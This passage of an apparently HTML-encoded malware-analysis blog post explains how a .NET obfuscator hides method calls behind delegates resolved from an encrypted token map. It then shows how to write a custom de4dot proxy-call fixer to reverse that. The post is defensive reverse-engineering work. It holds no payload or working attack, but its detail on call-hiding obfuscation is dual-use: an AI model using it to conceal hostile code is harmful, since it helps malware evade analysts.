    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;Dictionary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapping&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Dictionary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;BinaryReader&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;BinaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetManifestResourceStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Value.Expression&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Position&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ReadBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;binaryReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// &amp;lt;snip&amp;gt;, decrypt array and fill mapping&lt;/span&gt;

      &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;FieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetFields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Static&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NonPublic&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetField&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;FieldInfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;metadataToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MetadataToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;metadataToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isVirtualCall&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x3fffffff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;MethodInfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MethodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResolveMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetGenericArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsStatic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Delegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fieldInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FieldType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methodInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// &amp;lt;snip&amp;gt;, dynimcally generate code for calling non-static method&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code above has been shortened and prettied up to only contain the most important pieces.
Breaking it down, it performs the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It checks if the token mapping has already been loaded. If not:
    &lt;ol&gt;
      &lt;li&gt;An assembly resource is looked up and loaded into a byte array.&lt;/li&gt;
      &lt;li&gt;The byte array is decrypted with a custom algorithm.&lt;/li&gt;
      &lt;li&gt;Pairs of 32-bit integers are read from the byte array and inserted into a dictionary.&lt;/li&gt;
      &lt;li&gt;This dictionary will be the token mapping in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;m_InterpreterModel&lt;/code&gt;.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;All static fields in the type of interest (our delegate class) are looked up. In the previous example, this is essentially just the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt; field.&lt;/li&gt;
  &lt;li&gt;For each such field, its metadata token is used as an index into the token mapping dictionary to obtain a new token.&lt;/li&gt;
  &lt;li&gt;The new token is resolved into a method, which in turn is used to create a delegate object.&lt;/li&gt;
  &lt;li&gt;The delegate is assigned to the static field, solving the mystery of where its value comes from.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, to sum it up, we get a mapping &lt;em&gt;from&lt;/em&gt; static field tokens in the delegate types &lt;em&gt;to&lt;/em&gt; the actual call target.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;b&gt;&amp;gt;&amp;gt; Short primer on .NET metadata tokens&lt;/b&gt;&lt;/p&gt;

  &lt;p&gt;Internally, types, methods, fields, and so on are not referenced by their name.
Rather, .NET uses so-called metadata tokens, which are 32-bit integers that uniquely identify an entity in the current assembly.
The integers consist of a metadata table index (upper 8 bits) and row index into the respective table (lower 24 bits, also called &lt;i&gt;RID&lt;/i&gt;).&lt;/p&gt;

  &lt;p&gt;dnSpy shows the tokens as comments by default, and it also shows the decimal representation of the RID (0x927 equals 2343):&lt;/p&gt;
  &lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Token: 0x04000927 RID: 2343&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;

  &lt;p&gt;The table indexes are defined in the ECMA-335 spec - some important ones are:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;02: TypeDef&lt;/li&gt;
    &lt;li&gt;04: Field&lt;/li&gt;
    &lt;li&gt;06: Method&lt;/li&gt;
    &lt;li&gt;0A: MemberRef (fields/methods located in other assemblies)&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;Table contents can be viewed directly in dnSpy by expanding the &lt;em&gt;Tables Stream&lt;/em&gt; under &lt;em&gt;PE&lt;/em&gt; -&amp;gt; &lt;em&gt;Storage Stream #n&lt;/em&gt; in the Assembly Explorer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Some examples from our obfuscated assembly:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;04000479 -&amp;gt; 0A0001D3 System.Void System.Environment::Exit(System.Int32)
0400047A -&amp;gt; 060009EC System.Void ProtoBuf.Listeners.MessageModelListener::EnableDatabase()
0400047B -&amp;gt; 060009F2 System.Void Dbpkc.Maps.RoleAuthenticationMapping::kLjw4iIsCLsZtxc4lksN0j()
0400047C -&amp;gt; 0A0001D4 System.Void System.Threading.Timer::Dispose()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be seen, the targets can be either references to the class library (0A) or references to methods in the malware (06).&lt;/p&gt;

&lt;h3 id=&quot;deobfuscation-with-de4dot&quot;&gt;Deobfuscation with de4dot&lt;/h3&gt;

&lt;p&gt;On the surface, breaking this type of obfuscation is easy.
Obtain the mapping, find all delegate call sites, and replace the calls with their real targets.
In fact, finding the call sites and replacing them is something that is pretty much entirely handled by de4dot - you just need to tell it how to identify the delegate classes and provide the mapped call.
There are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyCallFixer&lt;/code&gt; classes that can be inherited from when adding code for a new deobfuscator.
The classes are numbered from 1 to 4, which is not terribly helpful, but comments above the classes describe what sort of situation they apply to.&lt;/p&gt;

&lt;p&gt;In our case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyCallFixer3&lt;/code&gt; would be the most appropriate, because our call sites consist of static methods, and a delegate instance is pushed as last parameter:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Fixes proxy calls that call a static method with the instance of&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// a delegate as the last arg, which then calls the Invoke method.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		...push args...&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		ldsfld delegate instance&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		call static method&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;abstract&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProxyCallFixer3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ProxyCallFixer1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When inheriting from this class, there’s a bare minimum of three things you need to do:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckCctor&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetDelegateCreatorMethod&lt;/code&gt; in constructor&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s all. Next, you instantiate your fixer class, call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Deobfuscate&lt;/code&gt;, and it’ll work its magic. You don’t need to worry about things like replacing IL instructions at call sites - it’s all handled for you.&lt;/p&gt;

&lt;h4 id=&quot;getcallinfo&quot;&gt;GetCallInfo&lt;/h4&gt;

&lt;p&gt;We’re going to start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;, because it’s pretty straight-forward.
It’s called when de4dot wants to map a delegate field to the actual called method.
You need to provide the called method and the IL opcode for the call, which is mostly either going to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Call&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Callvirt&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetCallInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FieldDef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMethod&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mapping&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mapping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TryGetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MDToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;virtFlag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x3fffffff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResolveToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;virtFlag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Callvirt&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You may recognize some of the code from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; method above, especially the bit masking.
This is not surprising, because the token values obtained from the mapping need to be interpreted in the same way that the obfuscator handles them.&lt;/p&gt;

&lt;h4 id=&quot;setdelegatecreatormethod&quot;&gt;SetDelegateCreatorMethod&lt;/h4&gt;

&lt;p&gt;One slightly less intuitive thing that you need to do is call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetDelegateCreatorMethod&lt;/code&gt; - for example in the constructor of your derived class.
It’s easy to miss because the compiler doesn’t &lt;em&gt;force&lt;/em&gt; you to do it, but if you don’t, your new code will simply do nothing, because the base class will bail early in a bunch of places.
It expects a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MethodDef&lt;/code&gt; parameter, which, as the name says, is the obfuscator method that creates delegates.&lt;/p&gt;

&lt;p&gt;In our case, that’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; method.
Finding this method programmatically can, for example, be done by iterating over all types in the assembly, inspecting those that have a static constructor (&lt;em&gt;cctor&lt;/em&gt;), and checking if the cctor has a single call to a method taking a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RuntimeTypeHandle&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;In the end, de4dot itself doesn’t do much with this information - it’s mainly used to detect that the current binary can in fact be deobfuscated with the custom proxy call fixer.&lt;/p&gt;

&lt;h4 id=&quot;checkcctor&quot;&gt;CheckCctor&lt;/h4&gt;

&lt;p&gt;Finally, you need to override the method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;object CheckCctor(ref TypeDef type, MethodDef cctor)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This method is called for every delegate type that has a static constructor and has at least one field.
You need to analyze whether this is in fact a delegate type that can be handled.
One could re-use parts of the logic from above to, again, check if we see a call to a method that looks like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If the type/cctor looks fitting, an object called &lt;em&gt;context&lt;/em&gt; needs to be returned.
This can be any object of your choosing, as long as it is not null.
It is simply passed to each call of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt; and de4dot itself doesn’t do anything with it.
